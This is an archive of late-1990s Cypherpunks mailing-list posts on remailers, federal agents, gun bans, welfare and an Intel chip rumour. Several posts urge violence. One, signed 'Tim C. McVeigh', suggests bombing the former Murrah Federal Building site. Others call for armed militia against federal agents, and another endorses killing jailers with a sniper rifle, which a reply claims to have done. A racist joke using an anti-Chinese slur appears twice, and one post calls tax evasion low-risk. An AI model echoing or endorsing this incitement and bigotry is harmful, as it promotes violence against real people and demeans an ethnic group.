Message-ID: <3457BEFD.4572@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> graycastle@ppw.net

> > > What is needed is several thousand well armed militia to go down there and
> > > send the JackBooted thugs packing. I am willing to donate my time to such
> > > a worthy cause.
> >
> > that is the type of answer that gets even more people killed.
> > what good is developing privacy software if you are going to march out
> > and invite uncle sam to put a bullet in you?
 
> A robin hood style hack would be preferable -- rescue Mrs Allen
> without killing any Feds, not that they might not deserve it, but it
> makes for better PR.

PR? Non-Violent?
How about bombing the former site of the Murrah Federal Building in
support of Ms. Roby of 1997?
How much clearer and non-life threatening (for now) can a message be?

Tim C. McVeigh
"'Pull it, Sir.' prize winner of Cell Block 709."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 30 Oct 1997 05:13:23 +0800
To: cypherpunks@toad.com
Subject: The Anti-Privacy Agenda of Gary Burnore/DataBasix (was: Re: Netcom ripped me off)
Message-ID: <06beaedb8720e3b9f6dc40431f9c88b6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



moonman3@ix.netcom.com wrote:

> > Close, except that you post under the pseudonym "moonman3" instead.
> > So unless your "real name" is "Moonman", it's more of the typical
> > hypocrisy that spews forth from Gary Burnore and the DataBasix gang.
> > Since most of Gary's "supporters" (including you) seem to post from
> > Netcruiser accounts with phony pseudonyms ("eridani", "moonman3",
> > "wotan", "tweek", etc.) it's counter-productive for you to whine
> > too loudly about posting with "real names".  Could it be that Gary
> > is pi**ed when he sees a post with which he disagrees and which
> > doesn't have an address which he can "spam bait", mail bomb, etc.?
>    
> moonman3@ix.netcom.com is my legitimate address.
>    
> Too bad for you that you have to hide behind the skirts of a remailer.
                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> Something about your childhood?
>  
> > Gary Burnore could suddenly acquire even more "supporters" like you if he
> > could only afford to pay for a few more throwaway Netcom accounts with
> > cutesy "names".
>  
> "eridani", "moonman3", "wotan", "tweek", etc. are all valid addresses.
> We do not hide behind a remailer.

More classic double-speak from the DataBasix Gang, I see...

Nice try at changing the subject, but it's you, Gary Burnore <gburnore@databasix.com>,
and Belinda Bryan <eridani@ix.netcom.com> that made such a pitiful whine about the
need to post with "real names".  It's irrelevant whether the pseudonyms you use at
Netcom are "legitimate addresses" or not.  Anonymity involves concealing your NAME,
not your ADDRESS.  Since your post does not contain your name, it's an ANONYMOUS
post, just like mine is.

Unless you're trying to claim that "moonman3" is your "real name", then you're a
whining hypocrite.  Personally, I don't care what your "real name" is.  You have every
right to "hide behind the skirts of" a pseudonym, if you so choose.  But if you do so,
you have no right to criticize someone who utilizes a remailer to protect his/her
privacy rather than an ISP like Netcom.

Like it or not, my e-mail address is my personal property.  If I want someone to send
e-mail to me, I'll give it to them.  I need not broadcast it indiscriminately to
accomplish that purpose.  I need not subject myself to the abuse that seems to befall
those who dare to publicly challenge Gary Burnore and his tactics as the price of
free speech.  Such abusive tactics are a form of de facto censorship.

--
Without censorship, things can get terribly confused in the public mind.

 -- General William Westmoreland   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Russell Nelson <nelson@crynwr.com>
Date: Thu, 30 Oct 1997 01:48:20 +0800
To: cypherpunks@toad.com
Subject: Is mixmaster dead?
Message-ID: <19971029172357.14375.qmail@desk.crynwr.com>
MIME-Version: 1.0
Content-Type: text/plain



Lance hasn't updated his mixmaster page in over a year.  Is mixmaster
dead?

-- 
-russ <nelson@crynwr.com>  http://www.crynwr.com/~nelson  | Freedom is the
Crynwr Software supports freed software | PGPok |   primary cause of peace.
521 Pleasant Valley Rd. | +1 315 268 1925 voice | Taxes feed the naked
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   |   and clothe the hungry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 30 Oct 1997 09:30:54 +0800
To: cypherpunks@Algebra.COM
Subject: Killing those who need killing
In-Reply-To: <199710300106.TAA15382@einstein.ssz.com>
Message-ID: <v03102800b07d83cd05bd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:06 PM -0700 10/29/97, Jim Choate wrote:
>>          MAN SPENDS 6 WEEKS IN JAIL AFTER VITAMINS MISTAKEN FOR HEROIN
>>
>>      October 29, 1997
>>      Web posted at: 7:21 p.m. EST (0021 GMT)
>>
>>      NORTH CHARLESTON, South Carolina (AP) -- For six weeks, Malvin
>>      Marshall sat in jail because police thought he was carrying heroin
>>      in his pocket. Police didn't believe him when he said it was mushy
>>      vitamins.
>>
>>      On Monday, the charges were dropped. Lab tests showed he was
>>      carrying mushy vitamins.

And he doesn't stand a chance of suing them successfully.

No wonder some people support Assassination Politics.

(Personally, were I to be arrested and held on such false charges, I'd
consider it necessary to kill those who illegally held me. Preferably from
a safe distance, with a sniper rifle. But then I'm a right wing libertarian
whacko.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 30 Oct 1997 02:46:13 +0800
To: kent@bywater.songbird.com
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds
In-Reply-To: <19971029072956.23995@bywater.songbird.com>
Message-ID: <199710291731.RAA00923@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@bywater.songbird.com> writes:
> On Wed, Oct 29, 1997 at 11:17:43AM +0000, Adam Back wrote:
> > The Gandi style walk in, in numbers walk off with Mrs Allen :-)  What are
> > they going to do, shoot 1000 unarmed citizens?
> 
> The 100 citizens would probably be shot by Mrs Allen.

Heh, yeah.  That's why you need to send in the spread spectrum phone
first, to let her know what you're planning -- else she'll just think
it's a ploy by the Feds.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Yoshiwara Remailer <yr@dev.null>
Date: Thu, 30 Oct 1997 08:24:11 +0800
To: cypherpunks@toad.com
Subject: Kent Square and TiennaChinc State
Message-ID: <3457CC93.75EC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



BillyJ, the sex criminal, picking up where RichardM, the B&E artist,
left off, is badmouthing the Chinese over their version of Kent State.

Our Ambassador to the Home of the Orange Mennace (Led + Yarrow) is
badmouthing the Chinese forced-labor camps, ignoring the US pigmentation
criminals working for the Telecos and the Silicos for dimes on the
dollar of what they would have to pay non-prison labor.

In private conferences, these world fuckers/leaders are undoubtedly
sharing a monstrous laugh over their public rhetoric.

BillyJ: "See, first we kick them off welfare. Then, after Sprint turns
  down their job application and they turn to dealing drugs to feed
  their children, we put them in prison. Then we sell their labor to
  Sprint for a fraction of what their work is worth.
  "Everyone wins! Except for the taxpayer....HAHAHAHAHA!"

Bonus Question: "What do you call a fat Chink?"
Bonus Answer: "A 'Chunk'!"

RacistLibertarianMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 30 Oct 1997 10:07:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Clinton's Bigger Gun Ban
In-Reply-To: <WWjzEOw02j8z4uCOXRf5RA==@bureau42.ml.org>
Message-ID: <v03102801b07d8bcee72b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:30 PM -0700 10/29/97, bureau42 Anonymous Remailer wrote:
>This is the intro from:
>http://www.nra.org/pub/ila/1997/97-10-24_faxalert_bigger_gun_ban
>
>                   THE BIGGER CLINTON GUN BAN
>
>     As reported in Wednesday's Special FAX Alert, the Clinton-
>Gore Administration is planning to issue a directive to ban
>certain types of foreign-made firearms from coming into this
>country. We believe the White House will move to stop all
>commerce in certain semi-automatic firearms that conform in every
>way to the legal requirements set forth in both the Clinton Gun
>Ban of 1994 and the 1989 import ban. Sources also suggest that
>the directive will order the Bureau of Alcohol, Tobacco, and
>Firearms to convene a study group to further narrow the scope of
>firearms that qualify for importation under the "sporting
>purposes" test. Given past action, a ban on all imported handguns
>is not unlikely.

The Klinton Klan has already effectively banned imported SKS ammo (7.62x29,
as I recall, given that I don't have any rifles chambering this popular
round).

Those with any sense are racing to stock up before a Full Ban is enacted
(via Executive Order, the easiers form of enactment of laws in these
post-constitutional years).

So many targets, so little time.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 30 Oct 1997 10:14:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Clinton's Bigger Gun Ban
Message-ID: <v03102802b07d8d6546eb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I wrote:

---

The Klinton Klan has already effectively banned imported SKS ammo (7.62x29,
as I recall, given that I don't have any rifles chambering this popular
round).

---

 Before you rush to correct me, I _meant_ to write "7.62x39" of course.


(A round used by the Chinese, Soviet, and East Bloc nations, and roughly
equivalent to the American M-16 round, known either as the .223 or 5.56mm.
The NATO "7.62" is in a longer case length. 7.62x54, as I recall. Known in
America as .308.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Oct 1997 10:26:32 +0800
To: cypherpunks@cyberpass.net
Subject: new intel verification circuit & crypto
Message-ID: <199710300215.SAA13323@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



John Dvorak has an interesting column in a recent PC
magazine on the possibility that Intel has created
some new circuits in its new chips that would allow
alteration by software. this is to deal with a 
"verification crisis" in which the complexity of
their large chips is outstripping their ability
to test for flaws and make them perfect. according to
Dvorak the scheme would allow Intel to release a 
software program that would actually alter the
circuitry of the chip.

information at this point is very limited; Dvorak says
that Intel doesn't want to announce the scheme for fear
that it may not work in an embarrassing scenario.

he says that the scheme is protected using cryptographic
algorithms, so that hackers would be prevented from altering
the chip. he raises the spectre of a virus that could
do permanent, irreparable damage to the chip.

however, I have some big red flags going off in my brain
the more I think about this. it seems to me that no matter
what kind of cryptography is used on the chip, there is
the possibility of reverse engineering via dissassemblers
& debuggers etc. if the software is distributed widely.
hackers have long experience with this, and I suspect if
a fix was released, the code could be cracked quite 
readily.

the only other possibility is that Intel would require
people to bring the chip into a service dealer. but this
would decrease the utility and convenience of the fix
feature, and I doubt they could protect the distribution
of the software in this case either.

anyway, an interesting topic of conversation for this
list, no?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Sims" <jellicle@inch.com>
Date: Thu, 30 Oct 1997 07:40:18 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: (off-topic--delete now) Re: Search warrants and Senate heari
In-Reply-To: <34568F07.6F0B@dev.null>
Message-ID: <199710292329.SAA14535@arutam.inch.com>
MIME-Version: 1.0
Content-Type: text/plain



Truthmonger (wombat.sk.sympatico.ca [142.165.5.136]) wrote:

>   Do not pass GoFuckYourself. Do not collect 200 Reputation Capital
> Credits.

Now let's see here.  You've posted to this list (F-C) a half dozen 
times in the last few months, each time with a different name and 
with a different and invalid return address.  And you speak of 
reputation capital?  Go tell your mommy you've been bad.


>   The totality of today's medical profession and health care system
> *is* 'government-caused.'

I see you've succumbed to the tunnel vision, selective blindness of 
the libertarian sect.  Repeat after me: just because we live in a 
society with a government, doesn't mean that everything you don't 
like is the government's fault and that all problems will be solved 
by the mythical free-market beast if only the evil government would 
leave it alone.

> > The US has the closest to a free-market in health-care information of
> > any of the industrialized nations.
> 
>   Earth to Michael! Earth to Michael...

Feel free to point out a counter-example.  I wrote quickly, and 
without research - perhaps I'm wrong.


-- Michael Sims





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: McTruthChinc <mtc@dev.null>
Date: Thu, 30 Oct 1997 09:13:46 +0800
To: Vin_Suprynowicz@lvrj.com
Subject: Want to see something *REALLY* scary?!!? / Was: World Peace! (of the action) / Was: Our Bum Buddies in Bejing / Was: Was: Kent Square and TiennaChinc State
In-Reply-To: <3457CC93.75EC@dev.null>
Message-ID: <3457DC5F.7B0E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Yoshiwara Remailer wrote:
> 
> BillyJC, the sex criminal, picking up where RickyMN, the B&E artist,
> left off (trying to pry open the Chinese Market for American business),
> is badmouthing the Chinese over their version of Kent State.
> 
> Our Ambassador to the Home of the Olange Menace (Led + Yarrow) is
> badmouthing the Chinese forced-labor camps, ignoring the US use of
> pigmentation criminals working for the Telecos and the Silicos 
> for dimes on the dollar of what they would have to pay non-prison
> labor.
> 
> In private conferences, these world fuckers/leaders are undoubtedly
> sharing a monstrous laugh over their public rhetoric.
> 
> BillyJ: "See, first we kick them off welfare. Then, after Sprint turns
>   down their job application and they turn to dealing drugs to feed
>   their children, we put them in prison. Then we sell their labor to
>   Sprint for a fraction of what their work is worth.
>   "Everyone wins! Except for the taxpayer....HAHAHAHAHA!"
> 
> Bonus Question: "What do you call a fat Chink?"
> Bonus Answer: "A 'Chunk'!"
> 
> RacistLibertarianMonger

Want to see something *REALLY* scary?!!?

A lady friend of mine was showing me today how to use my computer and
my VCR to edit/change the contents of audio/video recordings.
She took the American/Chinese news conference by Bad BillyC and A Chinc
To Be Spelled Correctly Later and transposed the words of BBC and his
guest, ACTBSCL onto the virtual lips of one another.

Watching our beloved PRES state, "The concept of freedom is relative..."
sent shivers down my spine. Why? Because it didn't seem in the least
out of joint with any of the other pronouncements from on high that have
come down from the mount upon which our elected 'usual suspects' stand
feeding at the public trough.

Now we know that "The best way to influence Chinese policy is to work
with them."
Worked pretty good with the Nazi's, didn't it? Working with the Nazis
certainly influenced American policy. (At least) Half of our Presidents
since the second World War have been elected thanks mostly to the 
backing of money made by doing business with those wonderfolks who
gave us the Holocaust.

BBC: "Don't you feel just a *little* bad about murdering those students
  at Kent Square...I mean, TiennaChinc State...I mean..."
ACTBSCL: "Nope."

BBC: "OK. Now that we've cleared that up, would you like to buy
  a bunch of our airplanes, and a pile of nuclear reactors after
  we rehabilitate your image a bit more?"
ACTBSCL: "Yep."

  At least the Israeli/Arab/Canadian foiled assassination, hostage
trading, forged passport debacle was humorous.
  All of the players stuck to the comedy script: "We emphatically
deny what everyone knows to be true. Duuhhh..."

  It was positively frightening to watch our beloved leader of the
freeh world sticking to his comedy lines, despite the fact that
A Chinc To Be Spelled Correctly Later continued to play the straight
man, refusing to do a pretentious song and dance for the American
public, such as our homegrown clowns are wont to do.

Tomorrow's News Today:
[Bienfait, Saskatchewan, CNN (Canadian Nutly News)] - Lying Jackoff
Fuck, Louis J. Freeh, told a double-secret government committee, in
a triple-secret meeting today at the CoalDust Saloon, that Federal
Law Enforcement Agencies would need the power to monitor all of the
activities and communications of every single citizen, in order to
protect them from the threat posed by the Communist Chinese selling
our nuclear technology to terrorists, after the mainstream media
has helped to rehabilitate A Chinc To Be Spelled Correctly Later
by showing pictures of him at DisneyWorld, kissing babies, so that
we can sell them hundreds of billions of dollars worth of nuclear
power plants which the US industry can't sell at home.


God Bress Amelica
McTruthChinc
~~~~~~~~~~~~
"JIANG ZEMIN! _That's_ the name!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 30 Oct 1997 07:28:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: poverty traps (Re: Sa
Message-ID: <57f699d8a7c3b0c919bf94093536d1ba@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Harka wrote:
> -=> Quoting In:anon@anon.efga.org (Monty Cantsin) to Harka <=-
>
> In> The government is not Janice's friend.  It takes away $18,000
> In> from her each year and plunges her into poverty, sort of.  If
> In> you are appealing to the government to assist Janice, first
> In> ask it to get the hell out of the way.  (I realize you may
> In> just be saying that Janice's plight is unavoidable, not that
> In> she should be helped with government money.)
>
>Hmm, we all agree, that the government is not somebody to be trusted
>to be your friend. However, we also know the amount of laws possible
>to "violate" and the consequences that would have. And one of the
>worst things you can do is evading taxes. At least when they clamp
>down on you. Not something, I'd recommend to a mother of four kids
>(that she really doesn't want to give up to
>government-so-schill-workers). Jim Choate commented on that already,
>so I save further words.

Ignoring the ethical issues (Is it ethical to lie about your income?
Is it ethical to break the law?), the consequences would probably not
be too severe, if there were any consequences at all.  We've seen
several cabinet level people conspire to shield their employees from
paying income tax and at least one of them (Ron Brown) did not even
leave office.  Nobody went to jail.

Or, consider the record for prostitutes.  How often do they go to jail
for neglecting to pay income tax?  Never, I believe.  Prosecution would
be hard after all, they receive cash and they spend cash.

You could also do other low risk or even legal things like trading
services.  Maybe a discount is given to parents who will watch
Janice's kids once in awhile.  Maybe they trade services for
food. Etc. Etc.

> In> Janice should be baby sitting.  Were she to take in 4 kids at
> In> $500/month, she would make as much as her job and be able to
> In> watch her own kids during the same time.
>
>True in short-term. But after 8 kids have been rummaging around in
>your apartment every day (even without licence and off-the-books and
>all that stuff) you can definitely expect to spend a couple of grands
>on repairs in a matter of a month.

You would be of more help to your friend Janice if you did not try to
find reasons for her to fail.  The reality is that 8 kids will not
cause thousands of dollars of damage every month.

Also, I left some play in my calculations.  She doesn't actually have
to make $2000 a month to break even because she already "makes" $1000
by watching her own kids.  That means she only has to make $1000 each
month to break even with her job.  Let's say the tax rate is 50% (it's
much lower), and she charges $500/month per kid.  Then, 4 kids will
result in an income of $1000/month.

There's still some fat there.  We haven't computed how much she'll
save in work related expenses.  You mentioned $120/month in mass
transit costs.  How much for clothing?  If she has to dress
professionally, $1000/year is quite a conservative figure.  (Don't
forget dry cleaning.)

And we haven't considered the fact that she can charge more money
because she is a babysitter and not a daycare center.

> In> The food is generous because four of the five are kids, the
> In> oldest only being 12.  Kids don't each much.
>
>You're confirming my suspicion about not having kids :)

Seriously, I don't think my figures are inaccurate.  How much can a
three year old eat?

And, incidentally, I doubt very much that you or Janice even know with
any accuracy what her actual expenses are.  Janice should be tracking
every expense to the penny.  She should review her spending on a
regular and scheduled basis to see where she could be spending it
better.

An adult who is not all that careful can comfortably buy enough food
for $200/month.  But, Janice should be more than careful.  She should
be fanatic about lowering this expense.  This will work better if she
looks at as an interesting puzzle to work out rather than a chore.

She should practice vegetarianism.  Not only that, she should be
carefully studying other poor people for ideas on how to get by on
just a little income.  Peasants of India, Mexico, and China will all
have interesting tricks.  For instance, the stereotypical Mexican diet
of corn and beans just turns out to be an optimal combination.  The
amino acids missing from the corn are found in the beans and vice
versa.  (How a bunch of "ignorant" peasants figured this out is a
mystery to me.)  There are many books on living inexpensively on a
vegetarian diet.  They tend to have titles like "Chinese Cooking on 25
Cents a Day".

These books may be found at the library, or at a used bookstore, or
even be borrowed.

It is somewhat ironic that you can spend much less money and eat
better than most Americans.

Also, she should hunt up a food coop.  I am sure there is one in her
area.  Usually you can volunteer some nominal amount of time and
receive at least a 10% discount.  Sometimes more.  Also, buying
staples in bulk can dramatically lower costs.  (Best to make sure you
like lentils before buying a fifty pound sack, though.)  Food coops
usually have people around who know a whole lot about living
inexpensively.  They may also have a lending library.

Anyway, you will find (hopefully) that there are thousands of ways to
improve one's situation.  They (usually) aren't painful - when you
find a new one it's fun.  After awhile you discover you are not in a
bad situation any more.  Isn't that exciting?

>Talking about freedom at the same time then is an oxymoron and you're
>confirming my "criticisms about the free market" (Yes Tim, I have
>re-considered my position without changing my perspective in the
>end).  Capitalism in it's current form does not allow for individual
>freedom for most people (exceptions apply), because they have to make
>the money to be free (independent).  If that requires doing for
>years, what you don't want to do (working in computers, although you
>hate them and all you really want to do is paint and live as an
>artist but can't afford to, for example), then that means by
>definition, that freedom has to be given up. At least temporarely and
>as mentioned before, that can be a _very_ long time for most people
>(who have been born into the "wrong" families, for example).

But of course you have to do things you don't want to do to put
food on the table!  This is true everywhere.

The key question is this: why should somebody else labor all summer so
you'll have food in the winter?  All a "free market" advocate is
saying is that you should not force the other guy to raise your food.
You have to persuade him to do it for you, perhaps by doing something
for him in return.  If you think about it for awhile you will realize
that this is a profoundly pacifistic belief.  And a very reasonable
and realistic one.

If nobody else values your natural painting talent it won't be of much
use getting food on the table.  You'll have to find something else you
can do for other people which they want and which you don't mind
doing.  How could this possibly be unjust?

>Cypherpunks sometimes tend to become somewhat theoretical about
>things, neglecting the possibility, that it may not apply on a
>larger (real-life)scale.

No, you don't understand the idea.  You are looking at it like this:
"How can we engineer this system so that everybody will do just fine
(by my definition.)"  The Cypherpunk point of view, to the extent
there is such a thing, is something like this: "It is not right to
dictate to other people what their life choices should be."

People will make mistakes.  People will get unlucky.  Some people will
get very unlucky and die (early).  Most Cypherpunks prefer this to a
world where we all live in little cells and have food brought every
day.  One way to solve the problems of the Janices in the world is to
tell them what to do: Do not raise four kids.  Do not get a lame
degree.  Do not get divorced.

This would solve Janice's "problems".  So what's wrong with the
picture?  Well, Janice apparently wanted four kids.  She apparently
wanted a degree in education instead of computer science.  How can we
judge whether getting married wasn't a worthwhile risk?  How can we
judge the value Janice places on her children?

The answer is: we can not and should not.  But, likewise, just because
Janice took some chances and it led to minor problems, that does not
mean that anybody else is obligated to worry about them.

The problems Janice has are called "real life".  Things may not be
what she wants right now, but they result from her choices and her
decisions.  To me, and most Cypherpunks, that is preferable.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 30 Oct 1997 09:11:05 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: 6 weeks in jail for carrying vitamins [CNN]
Message-ID: <199710300106.TAA15382@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



>          MAN SPENDS 6 WEEKS IN JAIL AFTER VITAMINS MISTAKEN FOR HEROIN
>                                        
>      October 29, 1997
>      Web posted at: 7:21 p.m. EST (0021 GMT)
>      
>      NORTH CHARLESTON, South Carolina (AP) -- For six weeks, Malvin
>      Marshall sat in jail because police thought he was carrying heroin
>      in his pocket. Police didn't believe him when he said it was mushy
>      vitamins.
>      
>      On Monday, the charges were dropped. Lab tests showed he was
>      carrying mushy vitamins.

[remainder deleted]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 30 Oct 1997 07:39:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Choices
Message-ID: <ee6dac96f9838251bacd7582754ae7dc@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>However, having a choice in matters does not imply the guarantee of
>making the _right_ choices.

That is exactly correct.

>In fact, even society acknowledges that fact by making certain
>choices available only after a certain point in life, such as voting,
>marriage, driving, drinking etc.etc on the ground, that making such
>decisions requires a certain level of insight and maturity.

FYI, these discussions are about free adults.  Not about dependents
like children.

>But there's _still_ no guarantee for making right choices even after
>the "magical" age of 18 (or 21).

Yep!

>The only thing one can do is to gather enough information in order to
>make the best choice based on available information and conditions
>_known_ to you _at that time_.

Right on!

>And here's also the catch. By making a certain choice, one does
>usually _not_ choose the consequences of his/her actions consciously!
>In fact, the possible consequences may not even be foreseeable,
>predictable or expected in any way!

I guess we have to do our best anyway!

But, seriously, most of the possible outcomes we are aware of.  You
gave the example of driving.  Everybody knows that having an accident
is a possible outcome of driving.

>Let's take the example of Janice one more time (violins for Monty:)):
>certainly her decision to get married and have 4 kids was her
>personal and free choice at that time.

>But it was not foreseeable nor expectable for her, that her husband
>would take off after a while for another chick, leaving her with the
>kids and a bunch of bills to pay!

She obviously knew it was a possibility.  I mean, look around you!  It
happens all the time.  This used to be the reason people formed
marriage contracts.  They used to be respected and when not respected
enforced.

(Incidentally, Janice's child support payment is absurdly low.  This
is a situation where a marriage contract would really have some value.
Funny how the government isn't protecting women and children anymore -
you would almost think they didn't really care.)

>Thus she married him and later did what every wife would do:
>supporting him while he went to school instead of keeping the money
>for herself as a backup-cushion in case he leaves.

Her decision, though.  Too bad it didn't work out better.

It is a great tragedy of our society that marriage contracts cannot be
freely made and that the terms and conditions are not enforced.  For
the most part women and children pay the price.

(Also, the fact that pre-nuptial agreements are not consistently
followed by the courts is tragic.  Obviously, if you are wealthy you
should be able to marry without exposing yourself to gold diggers.)

>Is that really so out of the ordinary a choice??

Just because you go with the herd does not mean you did not make a
mistake.

But, really, I'm not convinced that Janice did make a mistake.  Some
people really want to have children.  Some people really want to have
a nice stable marriage which lasts decades.  To get that you have to
take chances.  Sometimes it won't work out.  That's life.  But that
doesn't mean that it wasn't worth a try.

>But even if one is able to make fairly good decisions overall in
>life: you may not have previous conditions necessary to make certain
>choices.
>
>If you're born into a poor family, who just can't afford to send you
>to College, how much of a choice to study will you have in that
>event? More likely is, that you'll have to work and aid in the
>support of the family instead of going to College.
>
>But are you to be held responsible for the conditions that you are
>born into or grow up under?

Ummm....who else should be responsible?

>Clearly not. As you go along in life, one's personal ability to
>influence your surroundings, conditions and overall life increase
>(with right effort). But to expect everybody to be able to make
>certain choices in a certain (right) way, or even expecting those
>choices being available, is not based on the realities of life but a
>mere projection from _your_ reality onto "theirs".

But, what you are on your way to imposing is your reality on everybody
else.  This is implied by your skepticism of the "free market".  If
people are not allowed to freely make choices and arrangements with
each other, it is implied that somebody else will be making choices
and arrangements for them.

>So is the statement of "screw 'em all" (if they weren't able to make
>certain choices for reasons we don't know about).

The "screw 'em all" statements usually arise when people begin to
claim that because somebody has done well they should help other
people who have done poorly.  Often, perhaps in Tim's case for
example, the person making the statement also started in a less than
ideal situation and through stubborness and years of hard work,
investing, and luck managed to do quite well.

To have some worthless rotter come along and claim they are somehow
entitled to your hard work and perseverance can be known to cause
great anger.  Try putting yourself in somebody else's shoes.

>Not only does it lack basic notions of humanity, such as caring for
>other people,...

Actually, most of humanity only mildly cares, at best, about people
they do not know.

Consider those poor people.  Many of them spend many tens of hours
each week watching television when they could be learning new skills,
fixing up the house, or making their lives better.

They could also be cleaning up their neighborhood, helping the people
that live around them, or just volunteering in the soup kitchens.  For
the most part, poor people don't spend any time to speak of helping
out other people.  It isn't because they can't - it's because they are
not inclined to do so.

>...but also devalues the human ability to learn and change.

I completely disagree with this.  The "screw 'em all" statement is
actually an exhortation for these people to take responsibility for
their own lives.  It's a recognition that people do have the ability
to learn and change but that other people can't do it for them.

It's also a recognition that if they will not learn and change that
they better not show up at the May house looking for handouts!

>Just because you were young and careless (out of lack of
>understanding at that time) or you were born in a slum in Rio de
>Janeiro (or NYC) shouldn't mean, that you should still get "screwed"
>for it when you're fifty or you now deserve the dis-respect of
>society and no chances anymore. You may have never had them...

There are very few people who never had a chance.

But, let's say you do manage to find somebody who fits that
description.  Who do you believe should help them?  In my opinion,
since you claim to care, you should help them.

>While technically it is probably correct to say, that current
>conditions are caused by previous actions (different people have
>different expressions for that: karma, choices, fate etc.), there's
>no justification for suffering and certainly none for watching it
>passively and saying "they deserve it", IMHO.

BTW, do you actually express your care for other people by helping
them in any way?  My guess is that you don't.  (By "help" I mean
actual help such as giving them food or shelter or something like
that.  I do not mean helping by belonging to some political party or
other.)

>While technically it is probably correct to say, that current
>conditions are caused by previous actions (different people have
>different expressions for that: karma, choices, fate etc.), there's
>no justification for suffering and certainly none for watching it
>passively and saying "they deserve it", IMHO.

There is plenty of pain and suffering in the world and instead of
working hard every day from morning to night alleviating it you are
living in New York City and sending messages to the cypherpunks list.

Wrong?  By your standards it should be.  In my case, I prefer writing
these little essays to helping poor people.  Most people make this
sort of choice all the time.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Killfile Remailer <psychokiller@d.null>
Date: Thu, 30 Oct 1997 10:10:54 +0800
To: cypherpunks@toad.com
Subject: Re: Killing those who need killing
Message-ID: <199710300155.TAA05985@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> (Personally, were I to be arrested and held on such false charges, I'd
> consider it necessary to kill those who illegally held me. Preferably from
> a safe distance, with a sniper rifle. But then I'm a right wing libertarian
> whacko.)

Been there..done that...stole the T-shirt...got out of Dodge, without
getting killed or caught.

